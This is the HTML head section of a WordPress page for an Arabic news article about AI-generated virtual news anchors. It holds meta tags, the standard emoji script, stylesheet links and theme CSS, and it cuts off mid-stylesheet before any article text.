		<link rel="alternate" type="application/rss+xml" title="tahkoom.com &laquo; مذيع من كود…من الأستوديو إلى الخوارزمية: المذيع الافتراضي ثورة تقنية أم اغتيال للهوية الإعلامية؟ خلاصة التعليقات" href="https://tahkoom.com/%d9%85%d8%b0%d9%8a%d8%b9-%d9%85%d9%86-%d9%83%d9%88%d8%af%d9%85%d9%86-%d8%a7%d9%84%d8%a3%d8%b3%d8%aa%d9%88%d8%af%d9%8a%d9%88-%d8%a5%d9%84%d9%89-%d8%a7%d9%84%d8%ae%d9%88%d8%a7%d8%b1%d8%b2%d9%85/feed/" />

		<style type="text/css">
			:root{				
			--tie-preset-gradient-1: linear-gradient(135deg, rgba(6, 147, 227, 1) 0%, rgb(155, 81, 224) 100%);
			--tie-preset-gradient-2: linear-gradient(135deg, rgb(122, 220, 180) 0%, rgb(0, 208, 130) 100%);
			--tie-preset-gradient-3: linear-gradient(135deg, rgba(252, 185, 0, 1) 0%, rgba(255, 105, 0, 1) 100%);
			--tie-preset-gradient-4: linear-gradient(135deg, rgba(255, 105, 0, 1) 0%, rgb(207, 46, 46) 100%);
			--tie-preset-gradient-5: linear-gradient(135deg, rgb(238, 238, 238) 0%, rgb(169, 184, 195) 100%);
			--tie-preset-gradient-6: linear-gradient(135deg, rgb(74, 234, 220) 0%, rgb(151, 120, 209) 20%, rgb(207, 42, 186) 40%, rgb(238, 44, 130) 60%, rgb(251, 105, 98) 80%, rgb(254, 248, 76) 100%);
			--tie-preset-gradient-7: linear-gradient(135deg, rgb(255, 206, 236) 0%, rgb(152, 150, 240) 100%);
			--tie-preset-gradient-8: linear-gradient(135deg, rgb(254, 205, 165) 0%, rgb(254, 45, 45) 50%, rgb(107, 0, 62) 100%);
			--tie-preset-gradient-9: linear-gradient(135deg, rgb(255, 203, 112) 0%, rgb(199, 81, 192) 50%, rgb(65, 88, 208) 100%);
			--tie-preset-gradient-10: linear-gradient(135deg, rgb(255, 245, 203) 0%, rgb(182, 227, 212) 50%, rgb(51, 167, 181) 100%);
			--tie-preset-gradient-11: linear-gradient(135deg, rgb(202, 248, 128) 0%, rgb(113, 206, 126) 100%);
			--tie-preset-gradient-12: linear-gradient(135deg, rgb(2, 3, 129) 0%, rgb(40, 116, 252) 100%);
			--tie-preset-gradient-13: linear-gradient(135deg, #4D34FA, #ad34fa);
			--tie-preset-gradient-14: linear-gradient(135deg, #0057FF, #31B5FF);
			--tie-preset-gradient-15: linear-gradient(135deg, #FF007A, #FF81BD);
			--tie-preset-gradient-16: linear-gradient(135deg, #14111E, #4B4462);
			--tie-preset-gradient-17: linear-gradient(135deg, #F32758, #FFC581);

			
					--main-nav-background: #1f2024;
					--main-nav-secondry-background: rgba(0,0,0,0.2);
					--main-nav-primary-color: #0088ff;
					--main-nav-contrast-primary-color: #FFFFFF;
					--main-nav-text-color: #FFFFFF;
					--main-nav-secondry-text-color: rgba(225,255,255,0.5);
					--main-nav-main-border-color: rgba(255,255,255,0.07);
					--main-nav-secondry-border-color: rgba(255,255,255,0.04);
				
			}
		</style>
	
<meta property="og:title" content="مذيع من كود…من الأستوديو إلى الخوارزمية: المذيع الافتراضي ثورة تقنية أم اغتيال للهوية الإعلامية؟ - tahkoom.com" />
<meta property="og:type" content="article" />
<meta property="og:description" content=" كتبت: فرح سمير  في زمنٍ باتت فيه المذيعة تبتسم دون أن تملك روحًا، ويقدّم المذيع نشرة الأخبار دون أن" />
<meta property="og:url" content="https://tahkoom.com/%d9%85%d8%b0%d9%8a%d8%b9-%d9%85%d9%86-%d9%83%d9%88%d8%af%d9%85%d9%86-%d8%a7%d9%84%d8%a3%d8%b3%d8%aa%d9%88%d8%af%d9%8a%d9%88-%d8%a5%d9%84%d9%89-%d8%a7%d9%84%d8%ae%d9%88%d8%a7%d8%b1%d8%b2%d9%85/" />
<meta property="og:site_name" content="tahkoom.com" />
<meta property="og:image" content="https://tahkoom.com/wp-content/uploads/2025/06/a07eca69-80d6-4b82-840d-6dcc17c803cf.jpeg" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" /><script type="text/javascript">
/* <![CDATA[ */
window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/16.0.1\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/16.0.1\/svg\/","svgExt":".svg","source":{"concatemoji":"https:\/\/tahkoom.com\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.8.3"}};
/*! This file is auto-generated */
!function(s,n){var o,i,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),a=(e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0),new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data));return t.every(function(e,t){return e===a[t]})}function u(e,t){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);for(var n=e.getImageData(16,16,1,1),a=0;a<n.data.length;a++)if(0!==n.data[a])return!1;return!0}function f(e,t,n,a){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\udde8\ud83c\uddf6","\ud83c\udde8\u200b\ud83c\uddf6")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!a(e,"\ud83e\udedf")}return!1}function g(e,t,n,a){var r="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):s.createElement("canvas"),o=r.getContext("2d",{willReadFrequently:!0}),i=(o.textBaseline="top",o.font="600 32px Arial",{});return e.forEach(function(e){i[e]=t(o,e,n,a)}),i}function t(e){var t=s.createElement("script");t.src=e,t.defer=!0,s.head.appendChild(t)}"undefined"!=typeof Promise&&(o="wpEmojiSettingsSupports",i=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){s.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+g.toString()+"("+[JSON.stringify(i),f.toString(),p.toString(),u.toString()].join(",")+"));",a=new Blob([e],{type:"text/javascript"}),r=new Worker(URL.createObjectURL(a),{name:"wpTestEmojiSupports"});return void(r.onmessage=function(e){c(n=e.data),r.terminate(),t(n)})}catch(e){}c(n=g(i,f,p,u))}t(n)}).then(function(e){for(var t in e)n.supports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.supports.flag,n.DOMReady=!1,n.readyCallback=function(){n.DOMReady=!0}}).then(function(){return e}).then(function(){var e;n.supports.everything||(n.readyCallback(),(e=n.source||{}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);
/* ]]> */
</script>
<link rel='stylesheet' id='jazeera-css' href='https://www.fontstatic.com/f=jazeera?ver=6.8.3' type='text/css' media='all' />
<style id='wp-emoji-styles-inline-css' type='text/css'>

	img.wp-smiley, img.emoji {
		display: inline !important;
		border: none !important;
		box-shadow: none !important;
		height: 1em !important;
		width: 1em !important;
		margin: 0 0.07em !important;
		vertical-align: -0.1em !important;
		background: none !important;
		padding: 0 !important;
	}
</style>
<link rel='stylesheet' id='wp-block-library-rtl-css' href='https://tahkoom.com/wp-includes/css/dist/block-library/style-rtl.min.css?ver=6.8.3' type='text/css' media='all' />
<style id='wp-block-library-theme-inline-css' type='text/css'>
.wp-block-audio :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-audio :where(figcaption){color:#ffffffa6}.wp-block-audio{margin:0 0 1em}.wp-block-code{border:1px solid #ccc;border-radius:4px;font-family:Menlo,Consolas,monaco,monospace;padding:.8em 1em}.wp-block-embed :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-embed :where(figcaption){color:#ffffffa6}.wp-block-embed{margin:0 0 1em}.blocks-gallery-caption{color:#555;font-size:13px;text-align:center}.is-dark-theme .blocks-gallery-caption{color:#ffffffa6}:root :where(.wp-block-image figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme :root :where(.wp-block-image figcaption){color:#ffffffa6}.wp-block-image{margin:0 0 1em}.wp-block-pullquote{border-bottom:4px solid;border-top:4px solid;color:currentColor;margin-bottom:1.75em}.wp-block-pullquote cite,.wp-block-pullquote footer,.wp-block-pullquote__citation{color:currentColor;font-size:.8125em;font-style:normal;text-transform:uppercase}.wp-block-quote{border-left:.25em solid;margin:0 0 1.75em;padding-left:1em}.wp-block-quote cite,.wp-block-quote footer{color:currentColor;font-size:.8125em;font-style:normal;position:relative}.wp-block-quote:where(.has-text-align-right){border-left:none;border-right:.25em solid;padding-left:0;padding-right:1em}.wp-block-quote:where(.has-text-align-center){border:none;padding-left:0}.wp-block-quote.is-large,.wp-block-quote.is-style-large,.wp-block-quote:where(.is-style-plain){border:none}.wp-block-search .wp-block-search__label{font-weight:700}.wp-block-search__button{border:1px solid #ccc;padding:.375em .625em}:where(.wp-block-group.has-background){padding:1.25em 2.375em}.wp-block-separator.has-css-opacity{opacity:.4}.wp-block-separator{border:none;border-bottom:2px solid;margin-left:auto;margin-right:auto}.wp-block-separator.has-alpha-channel-opacity{opacity:1}.wp-block-separator:not(.is-style-wide):not(.is-style-dots){width:100px}.wp-block-separator.has-background:not(.is-style-dots){border-bottom:none;height:1px}.wp-block-separator.has-background:not(.is-style-wide):not(.is-style-dots){height:2px}.wp-block-table{margin:0 0 1em}.wp-block-table td,.wp-block-table th{word-break:normal}.wp-block-table :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-table :where(figcaption){color:#ffffffa6}.wp-block-video :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-video :where(figcaption){color:#ffffffa6}.wp-block-video{margin:0 0 1em}:root :where(.wp-block-template-part.has-background){margin-bottom:0;margin-top:0;padding:1.25em 2.375em}
</style>
<style id='classic-theme-styles-inline-css' type='text/css'>
/*! This file is auto-generated */
.wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}
</style>
<style id='global-styles-inline-css' type='text/css'>
:root{--wp--preset--aspect-ratio--square: 1;--wp--preset--aspect-ratio--4-3: 4/3;--wp--preset--aspect-ratio--3-4: 3/4;--wp--preset--aspect-ratio--3-2: 3/2;--wp--preset--aspect-ratio--2-3: 2/3;--wp--preset--aspect-ratio--16-9: 16/9;--wp--preset--aspect-ratio--9-16: 9/16;--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--color--global-color: #21419a;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgba(6,147,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgba(255, 255, 255, 1), 6px 6px rgba(0, 0, 0, 1);--wp--preset--shadow--crisp: 6px 6px 0px rgba(0, 0, 0, 1);}:where(.is-layout-flex){gap: 0.5em;}:where(.is-layout-grid){gap: 0.5em;}body .is-layout-flex{display: flex;}.is-layout-flex{flex-wrap: wrap;align-items: center;}.is-layout-flex > :is(*, div){margin: 0;}body .is-layout-grid{display: grid;}.is-layout-grid > :is(*, div){margin: 0;}:where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}
:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}
:where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}
:root :where(.wp-block-pullquote){font-size: 1.5em;line-height: 1.6;}
</style>
<link rel='stylesheet' id='tie-css-base-css' href='https://tahkoom.com/wp-content/themes/jannah/assets/css/base.min.css?ver=7.3.8' type='text/css' media='all' />
<link rel='stylesheet' id='tie-css-styles-css' href='https://tahkoom.com/wp-content/themes/jannah/assets/css/style.min.css?ver=7.3.8' type='text/css' media='all' />
<link rel='stylesheet' id='tie-css-widgets-css' href='https://tahkoom.com/wp-content/themes/jannah/assets/css/widgets.min.css?ver=7.3.8' type='text/css' media='all' />
<link rel='stylesheet' id='tie-css-helpers-css' href='https://tahkoom.com/wp-content/themes/jannah/assets/css/helpers.min.css?ver=7.3.8' type='text/css' media='all' />
<link rel='stylesheet' id='tie-fontawesome5-css' href='https://tahkoom.com/wp-content/themes/jannah/assets/css/fontawesome.css?ver=7.3.8' type='text/css' media='all' />
<link rel='stylesheet' id='tie-css-ilightbox-css' href='https://tahkoom.com/wp-content/themes/jannah/assets/ilightbox/dark-skin/skin.css?ver=7.3.8' type='text/css' media='all' />
<link rel='stylesheet' id='tie-css-single-css' href='https://tahkoom.com/wp-content/themes/jannah/assets/css/single.min.css?ver=7.3.8' type='text/css' media='all' />
<link rel='stylesheet' id='tie-css-print-css' href='https://tahkoom.com/wp-content/themes/jannah/assets/css/print.css?ver=7.3.8' type='text/css' media='print' />
<style id='tie-css-print-inline-css' type='text/css'>
body{font-family: jazeera;}.logo-text,h1,h2,h3,h4,h5,h6,.the-subtitle{font-family: jazeera;}#main-nav .main-menu > ul > li > a{font-family: jazeera;}blockquote p{font-family: jazeera;}#main-nav .main-menu > ul > li > a{font-size: 16px;text-transform: uppercase;}:root:root{--brand-color: #21419a;--dark-brand-color: #000f68;--bright-color: #FFFFFF;--base-color: #2c2f34;}#reading-position-indicator{box-shadow: 0 0 10px rgba( 33,65,154,0.7);}#main-nav ul.menu > li.tie-current-menu > a,#main-nav ul.menu > li:hover > a,#main-nav .spinner > div,.main-menu .mega-links-head:after{background-color: #04c6f1 !important;}#main-nav a,#main-nav .dropdown-social-icons li a span,#autocomplete-suggestions.search-in-main-nav a {color: #FFFFFF !important;}#main-nav .main-menu ul.menu > li.tie-current-menu,#theme-header nav .menu > li > .menu-sub-content{border-color: #04c6f1;}#main-nav .spinner-circle:after{color: #04c6f1 !important;}#top-nav a{color: #FFFFFF;}:root:root{--brand-color: #21419a;--dark-brand-color: #000f68;--bright-color: #FFFFFF;--base-color: #2c2f34;}#reading-position-indicator{box-shadow: 0 0 10px rgba( 33,65,154,0.7);}#main-nav ul.menu > li.tie-current-menu > a,#main-nav ul.menu > li:hover > a,#main-nav .spinner > div,.main-menu .mega-links-head:after{background-color: #04c6f1 !important;}#main-nav a,#main-nav .dropdown-social-icons li a span,#autocomplete-suggestions.search-in-main-nav a {color: #FFFFFF !important;}#main-nav .main-menu ul.menu > li.tie-current-menu,#theme-header nav .menu > li > .menu-sub-content{border-color: #04c6f1;}#main-nav .spinner-circle:after{color: #04c6f1 !important;}#top-nav a{color: #FFFFFF;}#top-nav,#top-nav .sub-menu,#top-nav .comp-sub-menu,#top-nav .ticker-content,#top-nav .ticker-swipe,.top-nav-boxed #top-nav .topbar-wrapper,.top-nav-dark .top-menu ul,#autocomplete-suggestions.search-in-top-nav{background-color : #21419a;}#top-nav *,#autocomplete-suggestions.search-in-top-nav{border-color: rgba( #FFFFFF,0.08);}#top-nav .icon-basecloud-bg:after{color: #21419a;}#top-nav .breaking-title{color: #FFFFFF;}#top-nav .breaking-title:before{background-color: #ff0006;}#top-nav .breaking-news-nav li:hover{background-color: #ff0006;border-color: #ff0006;}#main-nav,#main-nav .menu-sub-content,#main-nav .comp-sub-menu,#main-nav ul.cats-vertical li a.is-active,#main-nav ul.cats-vertical li a:hover,#autocomplete-suggestions.search-in-main-nav{background-color: #21419a;}#main-nav{border-width: 0;}#theme-header #main-nav:not(.fixed-nav){bottom: 0;}#main-nav .icon-basecloud-bg:after{color: #21419a;}#autocomplete-suggestions.search-in-main-nav{border-color: rgba(255,255,255,0.07);}.main-nav-boxed #main-nav .main-menu-wrapper{border-width: 0;}#theme-header:not(.main-nav-boxed) #main-nav,.main-nav-boxed .main-menu-wrapper{border-right: 0 none !important;border-left : 0 none !important;border-top : 0 none !important;}#theme-header:not(.main-nav-boxed) #main-nav,.main-nav-boxed .main-menu-wrapper{border-right: 0 none !important;border-left : 0 none !important;border-bottom : 0 none !important;}.main-nav,.search-in-main-nav{--main-nav-primary-color: #04c6f1;--tie-buttons-color: #04c6f1;--tie-buttons-border-color: #04c6f1;--tie-buttons-text: #FFFFFF;--tie-buttons-hover-color: #00a8d3;}#main-nav .mega-links-head:after,#main-nav .cats-horizontal a.is-active,#main-nav .cats-horizontal a:hover,#main-nav .spinner > div{background-color: #04c6f1;}#main-nav .menu ul li:hover > a,#main-nav .menu ul li.current-menu-item:not(.mega-link-column) > a,#main-nav .components a:hover,#main-nav .components > li:hover > a,#main-nav #search-submit:hover,#main-nav .cats-vertical a.is-active,#main-nav .cats-vertical a:hover,#main-nav .mega-menu .post-meta a:hover,#main-nav .mega-menu .post-box-title a:hover,#autocomplete-suggestions.search-in-main-nav a:hover,#main-nav .spinner-circle:after{color: #04c6f1;}#main-nav .menu > li.tie-current-menu > a,#main-nav .menu > li:hover > a,.theme-header #main-nav .mega-menu .cats-horizontal a.is-active,.theme-header #main-nav .mega-menu .cats-horizontal a:hover{color: #FFFFFF;}#main-nav .menu > li.tie-current-menu > a:before,#main-nav .menu > li:hover > a:before{border-top-color: #FFFFFF;}#footer{background-color: #21419a;}#site-info{background-color: #21419a;}#footer .posts-list-counter .posts-list-items li.widget-post-list:before{border-color: #21419a;}#footer .timeline-widget a .date:before{border-color: rgba(33,65,154,0.8);}#footer .footer-boxed-widget-area,#footer textarea,#footer input:not([type=submit]),#footer select,#footer code,#footer kbd,#footer pre,#footer samp,#footer .show-more-button,#footer .slider-links .tie-slider-nav span,#footer #wp-calendar,#footer #wp-calendar tbody td,#footer #wp-calendar thead th,#footer .widget.buddypress .item-options a{border-color: rgba(255,255,255,0.1);}#footer .social-statistics-widget .white-bg li.social-icons-item a,#footer .widget_tag_cloud .tagcloud a,#footer .latest-tweets-widget .slider-links .tie-slider-nav span,#footer .widget_layered_nav_filters a{border-color: rgba(255,255,255,0.1);}#footer .social-statistics-widget .white-bg li:before{background: rgba(255,255,255,0.1);}.site-footer #wp-calendar tbody td{background: rgba(255,255,255,0.02);}#footer .white-bg .social-icons-item a span.followers span,#footer .circle-three-cols .social-icons-item a .followers-num,#footer .circle-three-cols .social-icons-item a .followers-name{color: rgba(255,255,255,0.8);}#footer .timeline-widget ul:before,#footer .timeline-widget a:not(:hover) .date:before{background-color: #03237c;}.social-icons-item .custom-link-1-social-icon{background-color: #e74c3c !important;}.social-icons-item .custom-link-1-social-icon span{color: #e74c3c;}.tie-cat-2,.tie-cat-item-2 > span{background-color:#e67e22 !important;color:#FFFFFF !important;}.tie-cat-2:after{border-top-color:#e67e22 !important;}.tie-cat-2:hover{background-color:#c86004 !important;}.tie-cat-2:hover:after{border-top-color:#c86004 !important;}.tie-cat-11,.tie-cat-item-11 > span{background-color:#2ecc71 !important;color:#FFFFFF !important;}.tie-cat-11:after{border-top-color:#2ecc71 !important;}.tie-cat-11:hover{background-color:#10ae53 !important;}.tie-cat-11:hover:after{border-top-color:#10ae53 !important;}.tie-cat-15,.tie-cat-item-15 > span{background-color:#9b59b6 !important;color:#FFFFFF !important;}.tie-cat-15:after{border-top-color:#9b59b6 !important;}.tie-cat-15:hover{background-color:#7d3b98 !important;}.tie-cat-15:hover:after{border-top-color:#7d3b98 !important;}.tie-cat-18,.tie-cat-item-18 > span{background-color:#34495e !important;color:#FFFFFF !important;}.tie-cat-18:after{border-top-color:#34495e !important;}.tie-cat-18:hover{background-color:#162b40 !important;}.tie-cat-18:hover:after{border-top-color:#162b40 !important;}.tie-cat-19,.tie-cat-item-19 > span{background-color:#795548 !important;color:#FFFFFF !important;}.tie-cat-19:after{border-top-color:#795548 !important;}.tie-cat-19:hover{background-color:#5b372a !important;}.tie-cat-19:hover:after{border-top-color:#5b372a !important;}.tie-cat-20,.tie-cat-item-20 > span{background-color:#4CAF50 !important;color:#FFFFFF !important;}.tie-cat-20:after{border-top-color:#4CAF50 !important;}.tie-cat-20:hover{background-color:#2e9132 !important;}.tie-cat-20:hover:after{border-top-color:#2e9132 !important;}@media (min-width: 1200px){.container{width: auto;}}.boxed-layout #tie-wrapper,.boxed-layout .fixed-nav{max-width: 1430px;}@media (min-width: 1400px){.container,.wide-next-prev-slider-wrapper .slider-main-container{max-width: 1400px;}}body .mag-box .breaking,body .social-icons-widget .social-icons-item .social-link,body .widget_product_tag_cloud a,body .widget_tag_cloud a,body .post-tags a,body .widget_layered_nav_filters a,body .post-bottom-meta-title,body .post-bottom-meta a,body .post-cat,body .show-more-button,body #instagram-link.is-expanded .follow-button,body .cat-counter a + span,body .mag-box-options .slider-arrow-nav a,body .main-menu .cats-horizontal li a,body #instagram-link.is-compact,body .pages-numbers a,body .pages-nav-item,body .bp-pagination-links .page-numbers,body .fullwidth-area .widget_tag_cloud .tagcloud a,body ul.breaking-news-nav li.jnt-prev,body ul.breaking-news-nav li.jnt-next,body #tie-popup-search-mobile table.gsc-search-box{border-radius: 35px;}body .mag-box ul.breaking-news-nav li{border: 0 !important;}body #instagram-link.is-compact{padding-right: 40px;padding-left: 40px;}body .post-bottom-meta-title,body .post-bottom-meta a,body .more-link{padding-right: 15px;padding-left: 15px;}body #masonry-grid .container-wrapper .post-thumb img{border-radius: 0px;}body .video-thumbnail,body .review-item,body .review-summary,body .user-rate-wrap,body textarea,body input,body select{border-radius: 5px;}body 